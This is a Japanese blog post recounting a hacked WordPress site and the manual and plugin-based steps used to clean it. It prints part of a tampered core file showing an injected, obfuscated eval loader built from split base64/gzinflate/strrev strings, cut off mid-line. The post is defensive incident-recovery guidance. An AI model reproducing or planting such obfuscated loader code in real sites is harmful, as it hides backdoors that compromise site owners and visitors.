MENU
  • ブログ用語集(ガイド)
  • ブログ運営基礎知識
  • SEOノウハウ
  • ブログ収益化
  • WordPress
  • Webデザイン
  • PC
  • サービス一覧
  • 無料相談
セオリコ
  • ブログ用語集
  • 記事一覧
    • ブログ基礎知識
      • ブログ基礎知識
      • ブログの書き方
      • サーバー関連
    • ブログ収益化
      • Google AdSense
    • SEO
    • Webデザイン
      • CSSデザイン
    • WordPress
      • WordPress エラー修正方法まとめ
      • WordPressテーマ
      • WordPressプラグイン
      • ブログカスタマイズ
    • PC関連
      • OS・ソフトウェア
      • ハードウェア
  • サービス一覧
    • ブログ個別サポート(コンサルティング)
    • サイト診断(Google AdSense 審査対策)
    • Search Console データ分析
    • WordPress エラー修復
    • Link Map Insights
  • 無料相談
セオリコ
  • ブログ用語集
  • 記事一覧
    • ブログ基礎知識
      • ブログ基礎知識
      • ブログの書き方
      • サーバー関連
    • ブログ収益化
      • Google AdSense
    • SEO
    • Webデザイン
      • CSSデザイン
    • WordPress
      • WordPress エラー修正方法まとめ
      • WordPressテーマ
      • WordPressプラグイン
      • ブログカスタマイズ
    • PC関連
      • OS・ソフトウェア
      • ハードウェア
  • サービス一覧
    • ブログ個別サポート(コンサルティング)
    • サイト診断(Google AdSense 審査対策)
    • Search Console データ分析
    • WordPress エラー修復
    • Link Map Insights
  • 無料相談

WordPress がハッキングされた事例と実際に修復した手順

2025 3/10
WordPress
2025/03/10

ココナラにて WordPress トラブルの復旧依頼をいただき、サーバー内部を調査したところ、ハッキングによるファイル改ざんが認められました。

今回の事例をもとに、復旧方法を初心者向けに解説していきます(依頼主様の承諾を得て掲載しています)。

今すぐサイトの復旧が必要な場合は、以下のリンクよりご相談ください。担当者がオンラインであれば 30 分以内にご返信し、当日中に対応いたします。

修復費用:8,000 円 / 1 サイト

WordPress エラー・不具合修正サービスはこちら

別のケースでご依頼いただいたお客様のリアルなレビューはこちら。

【リダイレクトハッキング】ココナラで復旧を依頼してみました|My Quality Of Life  

目次

ハッキングされたサイトの不具合の症状

悪意をもった不正な侵入・書き換えは、正確には「クラッキング」と呼ばれています。「ハッキング」のほうがなじみがあると思いますので、本記事では「ハッキング」で統一しています。

ハッキングによるファイル改ざんを発見したのは、「特定のプラグインをアップデートしたさい、サイトが表示されなくなった」というエラーが元でした。

表面上の問題

依頼を受けた時点では、アップデートしたプラグインを削除してサイトは表示されるようになったものの、管理画面には入れなかったようです。

以下はログイン画面のエラーメッセージ。

プラグインは削除済みなので、コアファイル wp-admin/includes/admin.php が書き換えられている可能性があります。

WordPress ログイン画面 エラー

念のため Google 検索でサイトを調べてみると、作成した覚えのないページが出てきたため、ハッキングされた線が濃厚となりました。

Google検索で見つかった不審なページ
「site:example.com」で検索

なお、同じサーバーで別ドメインのサイトもあり、そちらは作成したあと放置していたとのことです。アクセスしてみると、フィッシングの警告が表示されていました。完全にやられていますね…。

「偽のサイトにアクセスしようとしています」というフィッシング警告

FTP でファイルを調査した結果

取り急ぎ FTP で中身を覗いてみたところ、すぐ怪しいファイルを発見。

使用サーバーはエックスサーバーですが、本来ファイルを設置しない場所に small.php と al.php というファイルがあります。

パーミッションが「00」となっているのは、サーバー側の処理によるものです。不正なファイルを検知して、外部から実行できないようにしたと思われます(この処理が行われる前後にサーバーからメールが送られてくる)。

FTPルートディレクトリ

サーバーの初期ドメインに割り当てられているディレクトリには、多数の不審なファイルが設置されていました。見るからに悪さをしそうな名前のファイルばかり。

ハッキングにより仕込まれた不審なファイル群

WordPress をインストールしてあるサイト A・B には、どちらも不審なディレクトリとファイルがありました(WordPress コアには存在しないもの)。

WordPressコアに存在しないディレクトリとファイル

以下は、不審なファイル small.php を開いたところです。eval という文字列がありますね。セキュリティ面でよろしくないので、通常は使わないコードです。ハッキングで仕込まれたと見て間違いないでしょう。

PHPファイルに仕込まれているコード

ちなみに、index.php などのコアファイルも書き換えられていることがあり、すべてチェックしていかなければ完全に復旧できません。

たとえば、以下は実際に書き換えられていた wp-blog-header.php の一部です。22 行目以降は本来存在しないコードで、ハッキングにより追記されたものと思われます。

<?php
/**
 * Loads the WordPress environment and template.
 *
 * @package WordPress
 */

if ( ! isset( $wp_did_header ) ) {

$wp_did_header = true;

// Load the WordPress library.
require_once __DIR__ . '/wp-load.php';

// Set up the WordPress query.
wp();

// Load the theme template.
require_once ABSPATH . WPINC . '/template-loader.php';

}
ob_start();
?>
<?php $ucjek = 'ba'.'se64'.'_de'.'code'; $RzbTe = 'strr'.'ev'; $UHkaM = 'gzinflat'.'e'; ini_set('log_errors', 0); /**      e58bb5554cbc27f2edbb671bad3ec7a092eae617 ***/ error_reporting(0); eval($UHkaM($RzbTe...

サイトの状況を何となく把握できたので、以下の作業を中心に復旧作業を進めていきます。

  • 追加されている不審なディレクトリ / ファイルの削除
  • WordPress の各ファイルに追記されているコードの削除

実際に行った復旧手順

ご相談いただいたサイトの状況は以下のとおり。全サイトでファイルが改ざんされていました。

サイト AWordPress で運用中のメインサイト(管理画面に入れない)
サイト BWordPress が入っている放置中の未使用サイト(フィッシング警告)
サイト Cサーバーの初期ドメイン(未使用)

サイト B は使わないとのことなので、以下の手順で進めていきます。

  1. サイト B のデータを丸ごと削除(ドメインもいったんサーバーから削除)
  2. サイト C の不審データを削除
  3. サイト A の不審データを手動でできるだけ削除
  4. サイト A にログインしてプラグインで不審なデータを調査・削除
  5. サイト A の WordPress コアをすべて上書き(= 再インストール)

使っていないサイトのデータをすべて削除

まずは、使っていないサイト B のデータを丸ごと削除します。

今回は、エックスサーバーからいったんドメインを削除して、ドメインに割り当てられているディレクトリの削除を試みました。

エックスサーバーでドメインを削除

一部データは削除されずに残っていたので、FTP で削除していきます。

ドメイン削除後に残っていたファイル群

ファイルを削除してもデータベースは残ったままなので、そちらも削除します。

念のため、すべてのデータベースをバックアップ(テストで使っていたものなのか、未使用のデータベースがいくつかありました)。

エックスサーバー データベースダウンロード

不要なデータベースを削除します。

エックスサーバー データベース削除

これで、サイト B のデータは完全に消えました。

初期ドメインの不審なファイルを削除

エックスサーバーの初期ドメインはとくに使っていなかったようですが、いろいろ埋め込まれていたのですべて削除します。

不正なファイル群を一括削除

通常はファイルを設置しないエリアにある不審なデータも削除。

各ファイルのパーミッションが「00」になっているものは「644」にしてから削除します(ディレクトリは「755」に変更)。

FTPでファイルのパーミッションを644に変更してから削除

php.ini が書き換えられているかもしれないので、サーバーパネルから初期化しておきます。

エックスサーバー php.ini 初期化

これで、サイト B・C はクリアになったので、メインサイト A の復旧作業を行っていきます。

サイト A の不審なファイルを削除

WordPress はたくさんのファイルがあるので、除去作業はかなり大変です。

新規ダウンロードした WordPress のコアファイルと比較しつつ、更新日時やパーミッションを見て、あたりをつけながら不審なファイルを削除していきました。

wp-includes内の不審なファイル

ログイン画面には引き続き wp-admin/includes/admin.php のエラーが表示されていたので、そのファイルのみ上書き修正。とりあえず管理画面に入れるようになりました。

復旧したWordPressログイン画面

やはりというか何というか、未更新プラグインがたくさんありました…。

脆弱性が発見されているバージョンのプラグインもあったので、そこから侵入された可能性があります。

プラグインで不審なデータを調査・削除

手動では削除しきれていないファイルが残っている可能性もあるので、プラグインでサイトをスキャンチェックします。今回は「Anti-Malware Security and Brute-Force Firewall」を使用しました。

プラグイン新規追加画面から検索し、インストール&有効化。

Anti-Malware Security and Brute-Force Firewall インストール

Anti-Malware 設定画面に進み、「無料でキーをゲット」をクリック。

Anti-Malware Security and Brute-Force Firewall 無料でキーをゲット

氏名(ハンドルネーム可)・メールアドレスを入力して「Register Now!」をクリック。

Anti-Malware Security and Brute-Force Firewall ユーザー登録

「新しい定義をダウンロードしよう!」をクリック。

Anti-Malware Security and Brute-Force Firewall 新しい定義をダウンロード
  • 画面が切り替わらないときは、リロードしてください
  • WAF が ON になっていると画面が切り替わらない可能性があります

「完全なスキャンを実行する」をクリックして、しばらく待機。サイトの規模にもよりますが、10 ~ 30 分ほどで完了します。

Anti-Malware Security and Brute-Force Firewall 完全なスキャンを実行

スキャン完了のメッセージが出たら、詳細を確認します。

今回は、削除しきれていなかったデータのほか、「データベースインジェクション」が見つかっています。投稿・固定ページに何らかのコードが仕込まれているのかもしれません。

Anti-Malware Security and Brute-Force Firewall スキャン完了画面

詳細を見ると、複数の固定ページにあやしげなコードが仕込まれていました。Elementor の脆弱性をついたものでしょうか。

コードは難読化されており、「スマホでアクセスされたとき、特定のリンクから別サイトに飛ばす」という内容でした。おそらくログインユーザーは対象外で、定期的に更新しないページに仕込まれると気づきにくいものです。

Anti-Malware Security and Brute-Force Firewall データベースインジェクション詳細

プラグインにそのまま除去させる場合は、「選択されたファイルを自動的に修正するようになりました。」をクリック。

Anti-Malware Security and Brute-Force Firewall 自動修正

不審なデータの除去と再チェックが行われ、グリーンになれば完了です。

Anti-Malware Security and Brute-Force Firewall 修正完了画面

FTP で上書き

「Anti-Malware Security and Brute-Force Firewall」無料版では、WordPress コアファイルの整合性はチェックしてくれません。

そのため、WordPress 本体を新規ダウンロードし、FTP ですべて上書きしていきます(再インストールするのと同じです)。

FTPでWordPressコアを上書き

以下のディレクトリ・ファイルは上書きまたは削除しないよう注意してください。

  • wp-content 配下のファイル
  • .htaccess
  • wp-config.php

wp-content 配下でも不審なファイルの追加、またはファイルが書き換えられている場合もあるので、目視でチェックする形になります。

以上で、ハッキングされたサイトの修復作業は完了です。このあと各ページ詳細をチェックし、本体・テーマ・プラグインを最新版にアップデートして終了です。

可能であれば、上書きではなく、コアファイルをすべて削除してからアップロードしたほうがよいです。ただし、作業中はサイトが閲覧できない状態になります。

Search Console で警告が出ていた場合の処理

今回のケースでは Search Console の確認を行いませんでしたが、サイトにアクセスして Google Chrome で何らかの警告画面が出ている場合、Search Console にもアラートが表示されます。

Search Console セキュリティの問題
「セキュリティの問題: 1 件の問題を検出しました」

「セキュリティの問題」ページを開くと、理由と URL の例が表示されます(すべての疑わしい URL が表示されるとはかぎりません)。

Search Console セキュリティの問題 詳細画面

すべての不審なファイルを取り除き、サイトが完全に復旧したら「審査をリクエスト」しましょう。

Search Console セキュリティの問題 審査リクエスト

例文:
サーバー内の全ファイルを調査し、ハッキングにより不正に改ざんされたファイルをすべて修正・削除しました。

問題がなければ、12 時間ほどで Google から審査完了のメールが届き、Chrome の警告も削除されます。

Search Console セキュリティの問題 審査完了メール

ハッキングが疑わしいサイトの特徴と原因

ハッキング被害にあうのは、大手サイトだけではありません。一般的な個人ブログでも(たとえアクセス数が少なくても)起こり得ます。

ハッキングされたときの症状は以下の記事で詳しく取り上げていますので、あわせてご覧ください。

WordPress がハッキングされたときの対処方法

ファイルが改ざんされる原因

WordPress サイトがハッキングされる原因は、ほとんどがプラグインの脆弱性をついたものです。

  • 何年も更新されていないプラグインを使い続けている
  • プラグインを更新せずに使い続けている

ログイン画面を「表玄関」とするなら、プラグインは「裏口」または「壁のほころび」というイメージ。

どんなにログイン画面を強固なものにしていても、更新していないプラグインを使い続けていれば簡単に侵入されてしまいます。

ハッキング被害を防ぐためにできること

ハッキング被害を防ぐために、以下は必ず実行してください。

  • WordPress 本体を最新版にしておく
  • テーマやプラグインは必ず更新する
  • 開発が停止された(と思われる)プラグインは使わない
  • パスワードを強固なものにし、定期的に変更する
  • セキュリティ系プラグインを導入する

同じサーバーで運営している他のサイトから侵入されることもあるので、テストサイトなどを作ったまま放置しているなら要注意。全サイトしっかり管理し、使わないサイトは削除したほうがよいです。

一度ハッキングされると、これから何度も侵入を試みてくるかもしれません。復旧したあとはとくに気をつけましょう。

WordPress のメンテナンスは手間がかかるので、もし時間がとれないなら専門業者に保守管理を委託することをおすすめします。

ひどいときは、数ヶ月間は検索順位が低下したままになりますからね。ドメインごと捨てたほうがよい場合もあり、SEO 集客をメインとしているなら被害は甚大です。

WordPress のセキュリティを強化する方法 10 選

メールアドレスやパスワードの流出をチェックするツール 3 選

WordPress ハッキングに関するまとめ

ハッキング被害にあってしまったら、基本的には「ファイルを総入れ替え」することになります。

画像ファイルと見せかけた不正ファイルを仕込んだり、修正してもすぐファイルを改ざんしてくる悪質なプログラムもありますから、まずは大元を探して対処してください。プラグインによる除去だけでは対応しきれないこともあります。

ハッキングされているかも、と思ったらお気軽にご相談ください。相談・事前調査のみであれば無料で承ります。

WordPress エラー・不具合修正サービスはこちら

WordPress

著者

SEO コンサルタント 瀬尾

瀬尾 真

SEO コンサルタント

Web 歴 20 年以上の SEO コンサルタント。ライティング業務ほか、サイト制作・コンテンツ販売・メディア運営代行業務を行っています。当サイト(セオリコ)では、おもにブログ初心者向けのノウハウを配信。

ココナラでは WordPress エラー修正やハッキング修復、Search Console 分析サービスをご提供しています(年間400件以上対応)。

X (Twitter)
ココナラ
マシュマロ
お問い合わせ

関連記事

  • WordPress セキュリティ
    WordPress のセキュリティを強化する方法 10 選
  • WordPress ファビコン設定方法
    WordPress サイトアイコン(ファビコン)設定方法と注意点
  • Webサイト表示速度
    できるだけプラグインに頼らず WordPress を高速化する 9 つの方法
  • 301リダイレクト
    .htaccess による WordPress 301 リダイレクト方法まとめ
  • UTF-8
    WordPressの文字コード(UTF-8)と改行コード(LF)
  • 最適な画像サイズは?
    WordPress で使う画像の推奨サイズ・形式・容量
  • bcrypt
    WordPress 6.8 のログインパスワードをデータベースから変更する方法
  • WordPress の記事が消えてしまった原因と防止策・復旧方法解説
  1. セオリコ
  2. WordPress
  3. WordPress がハッキングされた事例と実際に修復した手順
Category
  • ブログ運営法
  • ブログ収益化
  • SEO
  • Webデザイン
  • WordPress
  • PC
Service
  • ブログ個別サポート
  • Google AdSense 審査対策
  • WordPress エラー修復
  • Search Console 分析
WordPress Plugin
  • Link Map Insights
Information
  • ブログ用語集(ガイド)
  • お問い合わせ
  • サイトマップ
  • セオリコ運営者情報
  • コンテンツポリシー
  • プライバシーポリシー
  • X (@seoryco)

© seoryco.

  • お問い合わせ
  • サービス一覧
  • 検索
  • 目次
  • トップへ
目次